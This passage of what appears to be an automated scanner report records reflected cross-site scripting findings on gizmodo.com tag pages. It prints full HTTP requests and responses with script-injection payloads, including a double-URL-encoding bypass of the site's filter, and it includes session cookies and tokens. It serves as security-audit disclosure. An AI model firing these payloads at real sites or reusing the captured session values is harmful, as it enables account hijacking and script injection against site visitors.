__qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:53 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:52 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:52 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:52 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:53 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=1149738 at t=1292286533508447 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9959
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 134938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/wikileaks/?572c7"><script>alert(1)</script>dbe16609f51=1&p=1" class="current_page">
...[SNIP]...

1.25. http://gizmodo.com/tag/worstmodo/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/worstmodo/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ac9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacb48eab81b was submitted in the REST URL parameter 2. This input was echoed as 7ac9f"><script>alert(1)</script>acb48eab81b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/worstmodo7ac9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacb48eab81b/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:10 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=121674 at t=1292286550605266 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9964
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: worstmodo7ac9f"><script>alert(1)</script>acb48eab81b RSS feed" href="/tag/worstmodo7ac9f%22%3e%3cscript%3ealert%281%29%3c%2fscript%3eacb48eab81b/index.xml" />
...[SNIP]...

1.26. http://gizmodo.com/tag/worstmodo/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/worstmodo/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a8a5"-alert(1)-"916f5f5f443 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/worstmodo6a8a5"-alert(1)-"916f5f5f443/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:13 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:13 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:13 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=82132 at t=1292286553940602 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9958
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59042

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/worstmodo6a8a5"-alert(1)-"916f5f5f443/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.27. http://gizmodo.com/tag/worstmodo/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/worstmodo/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5495"><script>alert(1)</script>d683fc72f72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/worstmodo/?a5495"><script>alert(1)</script>d683fc72f72=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:06 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:05 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:05 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:06 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:06 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:06 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=826517 at t=1292286546956132 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9994
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 132529

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<a href="/tag/worstmodo/?a5495"><script>alert(1)</script>d683fc72f72=1&p=1" class="current_page">
...[SNIP]...

1.28. http://gizmodo.com/tag/youtube/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/youtube/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6ed9"-alert(1)-"2154c8ba72a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/youtubed6ed9"-alert(1)-"2154c8ba72a/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:57 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:56 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:56 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:56 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:56 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:56 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=96615 at t=1292286537512198 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9998
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/youtubed6ed9"-alert(1)-"2154c8ba72a/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.29. http://gizmodo.com/tag/youtube/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/youtube/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 156ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eef49fa8ba21 was submitted in the REST URL parameter 2. This input was echoed as 156ba"><script>alert(1)</script>ef49fa8ba21 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/youtube156ba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eef49fa8ba21/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:52 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=101939 at t=1292286532124509 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9989
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: youtube156ba"><script>alert(1)</script>ef49fa8ba21 RSS feed" href="/tag/youtube156ba%22%3e%3cscript%3ealert%281%29%3c%2fscript%3eef49fa8ba21/index.xml" />
...[SNIP]...

1.30. http://gizmodo.com/tag/youtube/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/youtube/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79109"><script>alert(1)</script>83f6ce91970 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/youtube/?79109"><script>alert(1)</script>83f6ce91970=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
